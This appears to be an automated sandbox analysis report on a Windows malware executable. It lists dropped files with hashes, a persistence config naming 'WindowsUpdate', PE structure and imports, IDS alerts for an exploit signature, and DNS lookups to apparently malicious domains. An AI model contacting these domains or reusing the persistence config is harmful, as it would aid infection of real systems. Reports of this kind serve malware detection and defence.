                                                                                                                                                      C:\Users\user\llkd\sltfiwsc.dll

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):43661
                                                                                                                                                      Entropy (8bit):5.570631365205022
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:768:CpW3fy/un2uFjdNWOtDsmKEhCWCtpv9eYHBEZAIvkfKXbIK/ZMkcHp5:oCfyG2updNWOimbCFtp1eYhEZHks3P+v
                                                                                                                                                      MD5:22F822322DDDDB7E3169080058B05AE6
                                                                                                                                                      SHA1:125F3AF3D92BF7852AD9936449C0F66D8DDC9B2A
                                                                                                                                                      SHA-256:B5AE6A489465EF6111A05C70E4C455825DA1AEFA4DA28672AB14708FC862C8E5
                                                                                                                                                      SHA-512:9339143CDE357A11EB17B2EA358A4F7C20D8BA1C013130CF5B135E5F31152E73216B3145A8D95BBDAB463CCDDE905B9156EDCE9F67EFDA6B0AE8161D3EA51946
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:3CZQCac95N98252tOp591..4V210Y817751IVe1g730GX7tW2396E261cZ061VQ49WWYGsblYcrK4hf7eQ3wqq3XX9ghn3peZkn09c6G6zYh..72Ri39em211As73X977222x4C0u7ot59V7943wf85J32i771A7hN3K4p916N65Q..Tja6U8L80B6C0Fe3sz..w28AYE11dGJfqAX71R2nv9P4yb0F1f1nOSM753i0B4J4pF829kTq62jZM6cU5NIj68Y54X4Z9Z7ylQbn856ix5Vz..ka41NQ2jL2W93X3rrxf66hh2s6C0obP37x228E3Z6qF10gT45dx4d5041C3Xa43U3l..30My8FXgS7niQ59B491J9n3q9hdm65o8V43ev2p0z19kT1o3kV..5C5hg90j0TVOShO2qg0PDpg276R4j642H4HahqOx10e8S6buvfsPiLYSSD623bh4vJ1Gw7UI111..WS3Mm97KLcfl52w94p8P58p27MUL2a1PNH4S714I64N135oi..4571Ew7OK4yttU1049hcv..44620485Y950i5Z2592wRcu6xn3u250w055..mW108Sl667X39rOj3915ghgA02si2v23nw539p624JU45H3..Yy80u4W0P79epWHyZ0Q0tk9vJ53572xPloc7N9N53c402Cszk9..g58A2aZx0321e5Y331HV6g654WC8Tw1o97I5..3a94779UY12LI58w1690pNcX7i16DHji71x3l6Yt0..3w4D7qbFRQof8314cFh9Aw7Nb21NE6HrR446k70D55G2h7Z1pa928..X86I06038E0jH7A22PxLT5fhf86L235O2pjk249sz2bL83w7sE26D3s52t1c81Kg683Vf9uhrpoDYB7j455a23d7x6Q4908MuS..d13ENa70NlDr4vV91r9770AK1W57BE4k066sDJK1O35Vb2t3qkil113G83UAa..bdr49w4x

                                                                                                                                                      C:\Users\user\llkd\tjif.icm

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):528
                                                                                                                                                      Entropy (8bit):5.540567172111218
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:BROStCl2K2OBPe0o1vqjt8bYZ90PCmuG5cW4E7MjZ2uisuQ:BROStCLg314brPmukcPE7lOuQ
                                                                                                                                                      MD5:6F6DF56C43CC6F1C193AAD1C7AB82D06
                                                                                                                                                      SHA1:854F0199C9223417A3B6F82ADA40AFAE98D144B6
                                                                                                                                                      SHA-256:1AC36434BCAF1B5092E4C4AD1038CCA646817FE26C12D9EFEA0D1EE708F5E7B6
                                                                                                                                                      SHA-512:0ED1A079782D22BD1F4F5EF8C990CB1CDFB35042ACB3E636E539468EA81D9C76CE9D8FBD9250E490B80808A19CFFC151832279D630529A370AEB97452BE9CF23
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:1Y5087n124L9r86Tt6DQ29o2w991BU0N0hKTy981..ToolTipConstants FileConstants..a7QG8w596e6K04PN4H0qF3Zk98DE66t5X..DateTimeConstants TreeViewConstants..F84SR87NT7J3D3Jx5318s3dViSVSq0J458521LU3jED569ow1E829GC3dPkw0p5829w2S37K263ANaV0dw2484R46L3sZYyehL4CwOEWuvE7j2i47Q378n8WsecP88xJ44nW7q7H7xh4o8a2072X2..TreeViewConstants ComboConstants..5V6znjAuQ66920Ih2XV2W26chJhaniJY32KA558csu5W9Ogf99QxE51030Ep3i69sRJ031l06o2q3yUp3t9c95fS4On94ZI..ToolbarConstants ToolbarConstants..3299p7523LI07Xs26179J27lzJGQm6..ToolbarConstants ComboConstants..

                                                                                                                                                      C:\Users\user\llkd\xuncqfg.bin

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):543
                                                                                                                                                      Entropy (8bit):5.576262840414489
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:rS5ytkHp2QPIU8ciBCcj0APD8XHW9W4S71K3:r8yt42QGtBT0QKHW9W4S7u
                                                                                                                                                      MD5:F0E4EDF30F267FBC4C721E275845377A
                                                                                                                                                      SHA1:04ECFFCBFBAEA9C4E75F005E19CFEE8146C6BB34
                                                                                                                                                      SHA-256:7D06A00C8471F7E712C435EF1CCBE2E9D84550DB3CDC9849D33FD8FB9E49985B
                                                                                                                                                      SHA-512:D90197C3F3A5FD8237CC5DB49106763AF311F4084B71A12E4755152E2FC740CFB1C1B9F3AE468BEF489C3C1CDC776F576F98CBE82E740040FE09262AA9BDE253
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:57f2a1n8E48KdIiUn2ZG1U3DE4009Dvbg6gA4554IKTp1C95nJ99yV78oy323VH0i7W29Ta..GuiDateTimePicker StructureConstants..D367519UZ21kw3q7VO6p1W5d2y53mnYDE0JAG05Dyd19RK881h0rCiR93yPn90u00Iy99Y7KVaBM2I64Ssknx7uv7J8m7n4506qf168yFq3D86..FontConstants ButtonConstants..fM4BEXy2D4T7eJ44J7r6iSS355iviVfF19PaK6NdjQ1J7h7S7I7Q7lJ588AN944Q2..FileConstants ToolbarConstants..6s72tFC2..BorderConstants UpDownConstants..62Ab0641B31E854tDc3H4i8324upI4J18L318Fc37n6436vmq38U5063Vojpk5YuA4r8179LTb47e51e2K03uYp5102F4xq4B64IaEYV75kU5tFai..ToolTipConstants FileConstants..

                                                                                                                                                      C:\Users\user\llkd\xxmcsujdoo.das

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):509
                                                                                                                                                      Entropy (8bit):5.462657048461888
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:wzNZ/L/nOauPovTAZ2m3VP2g4ISHml12fgUUW/:iZTPBZAZGsl1g/
                                                                                                                                                      MD5:1F26C199CC3920E832244B417095E92D
                                                                                                                                                      SHA1:0377748FA2DA7C3D521B800F6F84B76F8F975418
                                                                                                                                                      SHA-256:80489B9CAF4A3E00356AE69A3D94CA7B5AFB54E162E4CD2B2AB5F57DD91EA1ED
                                                                                                                                                      SHA-512:DDDD31C3D68CDAFEB3FC5EEB54FCB8D5221DB34C7AFEC1374C727F900971807A2E064828611F75AC58A66CBCE3BDA67A0B7DB3B7E63EF97A2CF61F231A5BEEA7
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:01361sji325j0Xf59642xGFn12hXh4y80VQG..StructureConstants ColorConstants..3o269S7723Ft2N0291Au6831973586pi6n9Z76J4n7npg6HfPKNV04OJb4PBOf2MU579K6Z..TreeViewConstants DateTimeConstants..26alyo0rqj1Mf61A6s1TuU15ZOJ6965ryK2K356VOWMj9VU872C3..TreeViewConstants ToolbarConstants..78K91h83g17320n3V7UPga7vomXy0qR34105Kb7m229D9G811Y6n2KsM..DateTimeConstants ComboConstants..9mOJSC6x071x4Me30xU2V81rAHEG956X2Iy..ButtonConstants DateTimeConstants..4AWIh93V7G713F90Zc9DA79jHn22308fA4DJ..GuiDateTimePicker ComboConstants..

                                                                                                                                                      C:\Users\user\llkd\xxqgue.bin

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):527
                                                                                                                                                      Entropy (8bit):5.52422466865486
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:6:J43nytXKOlItNoIQcW2NXLEMQGmrvI/ZO9nVQIYQlqRYPW6WkDW5yyze4cccFDUc:NX+4tR2NushOvQxaW6cabrDUaFmO8CcS
                                                                                                                                                      MD5:49B1D10A8BEE0B150F2662B0B0FD9DE3
                                                                                                                                                      SHA1:E276A3601859997B41081F368C8AAC69E7EE97B2
                                                                                                                                                      SHA-256:ED87E32FB424996B03E4CA15B2EA08804E2098D2B8C534B1FF2B932BBE7184EE
                                                                                                                                                      SHA-512:1AD7647287A8CDB62F760F7F154808966A7DF689C98919CAEF1F5C6D03C0059CF50503D72987EE7ACEA3AEA06C886AD2DA133EBA31E39048B882C98045A056A7
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:3q9j15G40wAL1D28u19Y7257lvj2y88bf8HM1o1zC1o6hb7W3tT471n38FxI..StructureConstants ToolbarConstants..248a9952dC1q1xn5qai53d0aYoqBX83l40SI32dp5f9XE536N1486Am786F9Z51lB8187t49k39P1Bp55tR22Sri3W1USb5I369e5507K7Tlr6H9b6GR88Z0M9U8Ht59G335JIR7OW3477q75GMVs3dBS665GW5A3c0w..UpDownConstants BorderConstants..27FG4Kx73q7tsA0V1b4vl24a08p7OoRh99qy1KV11zqbK88Is09oX88F4dWL2eTD96974F94tcA4i2g394N1o2lef226yj..DateTimeConstants ToolTipConstants..B95wirj7g85s4s443U2s244g7W2yAWeeQ69W3Ts26409sAiD1d1jM5X2s8189e2h..ColorConstants ComboConstants..

                                                                                                                                                      C:\Users\user\temp\sltfiwsc.dll

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):89
                                                                                                                                                      Entropy (8bit):4.932202432457468
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:3:YRRvuf1lXhONvkY9JlC9hRGdYHumZOQWv/An:AvgDO9kcoGqZODHAn
                                                                                                                                                      MD5:4CFF969260A615A8E956181FD0E13BA5
                                                                                                                                                      SHA1:BCE2CB980914818FAB1E9DD6DBB7B9F22BFA5556
                                                                                                                                                      SHA-256:6B30F3CA61F44035548531577028BA6E768EF07B2145C5B7CCDB8DF6F6E18D23
                                                                                                                                                      SHA-512:E19A0550C8C1B5D66888CCFEBD96A80B975FFFBA398D0CA90548D54AF4EF8D73ED3BE9115D50010DA0A33E7C7905B1CBE415268A9C13FF682FC2BF660D3E86D9
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:[S3tt!ng]..stpths=%userprofile%..Key=WindowsUpdate..Dir3ctory=llkd..ExE_c=gbkusncub.ppt..

                                                                                                                                                      Static File Info

                                                                                                                                                      General

                                                                                                                                                      File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                      Entropy (8bit):7.774444751757323
                                                                                                                                                      TrID:
                                                                                                                                                      • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                                                                                                      • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                                                      • DOS Executable Generic (2002/1) 0.02%
                                                                                                                                                      • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                                      File name:mJIvCBk5vF.exe
                                                                                                                                                      File size:1'052'450 bytes
                                                                                                                                                      MD5:5097fe796d4bca99a3d79998c27116cd
                                                                                                                                                      SHA1:2e78d6968f547a5d70e5795ce89cbd51a06a90fa
                                                                                                                                                      SHA256:6c13b65c7ffaef21388c60cc2be3370b35a729eb9e8986ce1abd3303e144896f
                                                                                                                                                      SHA512:d5c8c470c6496e4bc0fc1781f59cbd19f7a96d8cc98d3a5a5956123761bac1f7a635db3b908050652cb42a7ee2f0cd924cb5809239291d5ac3b5c2d723389180
                                                                                                                                                      SSDEEP:24576:hN/BUBb+tYjBFHNhz6FI9Dh7WinTX1zJ54D+q0lPBzkFy:jpUlRhPzna4X1zJ5w+JPBAy
                                                                                                                                                      TLSH:A9251202B7C584B2D57229321BB597A0163CB5306F62C9DF53E069AD9F709C2D632FA3
                                                                                                                                                      File Content Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......v..p2.b#2.b#2.b#.E.#?.b#.E.#..b#.E.#*.b#...#0.b#..f"!.b#..a"*.b#..g"..b#;..#9.b#;..#5.b#2.c#,.b#..g"..b#..b"3.b#...#3.b#..`"3.b

                                                                                                                                                      File Icon

                                                                                                                                                      Icon Hash:4d0d0d191d1d197d

                                                                                                                                                      Static PE Info

                                                                                                                                                      General

                                                                                                                                                      Entrypoint:0x4265d0
                                                                                                                                                      Entrypoint Section:.text
                                                                                                                                                      Digitally signed:false
                                                                                                                                                      Imagebase:0x400000
                                                                                                                                                      Subsystem:windows gui
                                                                                                                                                      Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                                                                                                                      DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
                                                                                                                                                      Time Stamp:0x6640971F [Sun May 12 10:17:03 2024 UTC]
                                                                                                                                                      TLS Callbacks:
                                                                                                                                                      CLR (.Net) Version:
                                                                                                                                                      OS Version Major:5
                                                                                                                                                      OS Version Minor:1
                                                                                                                                                      File Version Major:5
                                                                                                                                                      File Version Minor:1
                                                                                                                                                      Subsystem Version Major:5
                                                                                                                                                      Subsystem Version Minor:1
                                                                                                                                                      Import Hash:99ee65c2db82c04251a5c24f214c8892

                                                                                                                                                      Entrypoint Preview

                                                                                                                                                      Instruction
                                                                                                                                                      call 00007F7EE485F05Bh
                                                                                                                                                      jmp 00007F7EE485E9DDh
                                                                                                                                                      int3
                                                                                                                                                      int3
                                                                                                                                                      int3
                                                                                                                                                      int3
                                                                                                                                                      int3
                                                                                                                                                      int3
                                                                                                                                                      push ecx
                                                                                                                                                      lea ecx, dword ptr [esp+08h]
                                                                                                                                                      sub ecx, eax
                                                                                                                                                      and ecx, 0Fh
                                                                                                                                                      add eax, ecx
                                                                                                                                                      sbb ecx, ecx
                                                                                                                                                      or eax, ecx
                                                                                                                                                      pop ecx
                                                                                                                                                      jmp 00007F7EE485E08Fh
                                                                                                                                                      push ecx
                                                                                                                                                      lea ecx, dword ptr [esp+08h]
                                                                                                                                                      sub ecx, eax
                                                                                                                                                      and ecx, 07h
                                                                                                                                                      add eax, ecx
                                                                                                                                                      sbb ecx, ecx
                                                                                                                                                      or eax, ecx
                                                                                                                                                      pop ecx
                                                                                                                                                      jmp 00007F7EE485E079h
                                                                                                                                                      push ebp
                                                                                                                                                      mov ebp, esp
                                                                                                                                                      sub esp, 0Ch
                                                                                                                                                      lea ecx, dword ptr [ebp-0Ch]
                                                                                                                                                      call 00007F7EE48515B9h
                                                                                                                                                      push 0044634Ch
                                                                                                                                                      lea eax, dword ptr [ebp-0Ch]
                                                                                                                                                      push eax
                                                                                                                                                      call 00007F7EE485F887h
                                                                                                                                                      int3
                                                                                                                                                      jmp 00007F7EE48655BEh
                                                                                                                                                      int3
                                                                                                                                                      int3
                                                                                                                                                      push 004293C0h
                                                                                                                                                      push dword ptr fs:[00000000h]
                                                                                                                                                      mov eax, dword ptr [esp+10h]
                                                                                                                                                      mov dword ptr [esp+10h], ebp
                                                                                                                                                      lea ebp, dword ptr [esp+10h]
                                                                                                                                                      sub esp, eax
                                                                                                                                                      push ebx
                                                                                                                                                      push esi
                                                                                                                                                      push edi
                                                                                                                                                      mov eax, dword ptr [00449778h]
                                                                                                                                                      xor dword ptr [ebp-04h], eax
                                                                                                                                                      xor eax, ebp
                                                                                                                                                      push eax
                                                                                                                                                      mov dword ptr [ebp-18h], esp
                                                                                                                                                      push dword ptr [ebp-08h]
                                                                                                                                                      mov eax, dword ptr [ebp-04h]
                                                                                                                                                      mov dword ptr [ebp-04h], FFFFFFFEh
                                                                                                                                                      mov dword ptr [ebp-08h], eax
                                                                                                                                                      lea eax, dword ptr [ebp-10h]
                                                                                                                                                      mov dword ptr fs:[00000000h], eax
                                                                                                                                                      ret
                                                                                                                                                      int3
                                                                                                                                                      int3
                                                                                                                                                      int3
                                                                                                                                                      int3
                                                                                                                                                      int3
                                                                                                                                                      int3
                                                                                                                                                      int3
                                                                                                                                                      int3
                                                                                                                                                      int3
                                                                                                                                                      int3
                                                                                                                                                      int3
                                                                                                                                                      mov ecx, dword ptr [ebp-10h]
                                                                                                                                                      mov dword ptr fs:[00000000h], ecx
                                                                                                                                                      pop ecx
                                                                                                                                                      pop edi
                                                                                                                                                      pop edi
                                                                                                                                                      pop esi
                                                                                                                                                      pop ebx
                                                                                                                                                      mov esp, ebp
                                                                                                                                                      pop ebp
                                                                                                                                                      push ecx
                                                                                                                                                      ret
                                                                                                                                                      push ebp
                                                                                                                                                      mov ebp, esp

                                                                                                                                                      Rich Headers

                                                                                                                                                      Programming Language:
                                                                                                                                                      • [ C ] VS2008 SP1 build 30729
                                                                                                                                                      • [IMP] VS2008 SP1 build 30729

                                                                                                                                                      Data Directories

                                                                                                                                                      NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_EXPORT0x47d700x34.rdata
                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_IMPORT0x47da40x50.rdata
                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_RESOURCE0x580000x5134.rsrc
                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_BASERELOC0x5e0000x2afc.reloc
                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_DEBUG0x445800x54.rdata
                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_TLS0x446000x18.rdata
                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x3ec580x40.rdata
                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_IAT0x3c0000x280.rdata
                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x4722c0x120.rdata
                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                      Sections

                                                                                                                                                      NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                      .text0x10000x3a32c0x3a400e320764e1b3c816ba80aeb820cb8a274False0.581381605418455data6.685359764265178IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                      .rdata0x3c0000xcbf80xcc0047c3be3304bfdfb2a778f355849d1c3fFalse0.4439529718137255data5.167069652624378IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                      .data0x490000xd7e00x12006335f9314c2900dccb530e151f1b1ee8False0.3956163194444444data4.0290550032041IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                      .didat0x570000x1a80x200232a8fe82993b55cefe09cffc39a79b0False0.462890625data3.5080985761326375IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                      .rsrc0x580000x51340x5200bfa63777cb8495b69c7a6e54d8390262False0.612280868902439data6.3604830181772565IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                      .reloc0x5e0000x2afc0x2c0098fd4bc572f87a21f69dc57f720a6dbcFalse0.75data6.617141671767599IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                                                                      Resources

                                                                                                                                                      NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                      PNG0x585540xb45PNG image data, 93 x 302, 8-bit/color RGB, non-interlacedEnglishUnited States1.0027729636048528
                                                                                                                                                      PNG0x5909c0x15a9PNG image data, 186 x 604, 8-bit/color RGB, non-interlacedEnglishUnited States0.9363390441839495
                                                                                                                                                      RT_ICON0x5a6480x468Device independent bitmap graphic, 16 x 32 x 32, image size 00.7624113475177305
                                                                                                                                                      RT_DIALOG0x5aab00x286dataEnglishUnited States0.5092879256965944
                                                                                                                                                      RT_DIALOG0x5ad380x13adataEnglishUnited States0.60828025477707
                                                                                                                                                      RT_DIALOG0x5ae740xecdataEnglishUnited States0.6991525423728814
                                                                                                                                                      RT_DIALOG0x5af600x12edataEnglishUnited States0.5927152317880795
                                                                                                                                                      RT_DIALOG0x5b0900x338dataEnglishUnited States0.45145631067961167
                                                                                                                                                      RT_DIALOG0x5b3c80x252dataEnglishUnited States0.5757575757575758
                                                                                                                                                      RT_STRING0x5b61c0x1e2dataEnglishUnited States0.3900414937759336
                                                                                                                                                      RT_STRING0x5b8000x1ccdataEnglishUnited States0.4282608695652174
                                                                                                                                                      RT_STRING0x5b9cc0x1b8dataEnglishUnited States0.45681818181818185
                                                                                                                                                      RT_STRING0x5bb840x146dataEnglishUnited States0.5153374233128835
                                                                                                                                                      RT_STRING0x5bccc0x46cdataEnglishUnited States0.3454063604240283
                                                                                                                                                      RT_STRING0x5c1380x166dataEnglishUnited States0.49162011173184356
                                                                                                                                                      RT_STRING0x5c2a00x152dataEnglishUnited States0.5059171597633136
                                                                                                                                                      RT_STRING0x5c3f40x10adataEnglishUnited States0.49624060150375937
                                                                                                                                                      RT_STRING0x5c5000xbcdataEnglishUnited States0.6329787234042553
                                                                                                                                                      RT_STRING0x5c5bc0x1c0dataEnglishUnited States0.5178571428571429
                                                                                                                                                      RT_STRING0x5c77c0x250dataEnglishUnited States0.44256756756756754
                                                                                                                                                      RT_GROUP_ICON0x5c9cc0x14data1.1
                                                                                                                                                      RT_MANIFEST0x5c9e00x753XML 1.0 document, ASCII text, with CRLF line terminatorsEnglishUnited States0.3957333333333333

                                                                                                                                                      Imports

                                                                                                                                                      DLLImport
                                                                                                                                                      KERNEL32.dllLocalFree, GetLastError, SetLastError, FormatMessageW, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, GetCurrentProcessId, CreateDirectoryW, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, InterlockedDecrement, GetVersionExW, GetModuleFileNameW, SetCurrentDirectoryW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, ExpandEnvironmentStringsW, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, GlobalMemoryStatusEx, LoadResource, SizeofResource, GetTimeFormatW, GetDateFormatW, GetExitCodeProcess, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetNumberFormatW, DecodePointer, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, GetOEMCP, IsValidCodePage, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, InitializeCriticalSectionAndSpinCount, WaitForSingleObjectEx, IsDebuggerPresent, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, RtlUnwind, EncodePointer, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, GetStringTypeW, HeapReAlloc, LCMapStringW, FindFirstFileExA, FindNextFileA
                                                                                                                                                      OLEAUT32.dllSysAllocString, SysFreeString, VariantClear
                                                                                                                                                      gdiplus.dllGdipAlloc, GdipDisposeImage, GdipCloneImage, GdipCreateBitmapFromStream, GdipCreateBitmapFromStreamICM, GdipCreateHBITMAPFromBitmap, GdiplusStartup, GdiplusShutdown, GdipFree

                                                                                                                                                      Possible Origin

                                                                                                                                                      Language of compilation systemCountry where language is spokenMap
                                                                                                                                                      EnglishUnited States

                                                                                                                                                      Network Behavior

                                                                                                                                                      Suricata IDS Alerts

                                                                                                                                                      TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                                                      2024-11-05T15:54:19.195972+01002022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow120.12.23.50443192.168.2.649746TCP
                                                                                                                                                      2024-11-05T15:54:57.332593+01002022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow120.12.23.50443192.168.2.649945TCP

                                                                                                                                                      Network Port Distribution

                                                                                                                                                      UDP Packets

                                                                                                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                      Nov 5, 2024 15:54:56.994919062 CET5261053192.168.2.61.1.1.1
                                                                                                                                                      Nov 5, 2024 15:54:57.017985106 CET53526101.1.1.1192.168.2.6
                                                                                                                                                      Nov 5, 2024 15:55:18.775182009 CET4963953192.168.2.61.1.1.1
                                                                                                                                                      Nov 5, 2024 15:55:18.783742905 CET53496391.1.1.1192.168.2.6
                                                                                                                                                      Nov 5, 2024 15:55:37.745373011 CET5806453192.168.2.61.1.1.1
                                                                                                                                                      Nov 5, 2024 15:55:37.760492086 CET53580641.1.1.1192.168.2.6
                                                                                                                                                      Nov 5, 2024 15:55:57.901375055 CET5184453192.168.2.61.1.1.1
                                                                                                                                                      Nov 5, 2024 15:55:57.924639940 CET53518441.1.1.1192.168.2.6
                                                                                                                                                      Nov 5, 2024 15:56:39.339514017 CET6395653192.168.2.61.1.1.1
                                                                                                                                                      Nov 5, 2024 15:56:39.349458933 CET53639561.1.1.1192.168.2.6
                                                                                                                                                      Nov 5, 2024 15:56:59.759578943 CET5175753192.168.2.61.1.1.1
                                                                                                                                                      Nov 5, 2024 15:56:59.775032043 CET53517571.1.1.1192.168.2.6
                                                                                                                                                      Nov 5, 2024 15:57:20.228269100 CET6137253192.168.2.61.1.1.1
                                                                                                                                                      Nov 5, 2024 15:57:20.255304098 CET53613721.1.1.1192.168.2.6
                                                                                                                                                      Nov 5, 2024 15:57:40.871566057 CET6531253192.168.2.61.1.1.1
                                                                                                                                                      Nov 5, 2024 15:57:40.895654917 CET53653121.1.1.1192.168.2.6
                                                                                                                                                      Nov 5, 2024 15:58:01.378590107 CET6158753192.168.2.61.1.1.1
                                                                                                                                                      Nov 5, 2024 15:58:01.388201952 CET53615871.1.1.1192.168.2.6
                                                                                                                                                      Nov 5, 2024 15:58:23.946873903 CET5941853192.168.2.61.1.1.1
                                                                                                                                                      Nov 5, 2024 15:58:23.955451012 CET53594181.1.1.1192.168.2.6

                                                                                                                                                      DNS Queries

                                                                                                                                                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                      Nov 5, 2024 15:54:56.994919062 CET192.168.2.61.1.1.10x4ee6Standard query (0)www.ybokiesite.onlineA (IP address)IN (0x0001)false
                                                                                                                                                      Nov 5, 2024 15:55:18.775182009 CET192.168.2.61.1.1.10x802fStandard query (0)www.teplero.shopA (IP address)IN (0x0001)false
                                                                                                                                                      Nov 5, 2024 15:55:37.745373011 CET192.168.2.61.1.1.10x4aStandard query (0)www.ichaellee.infoA (IP address)IN (0x0001)false
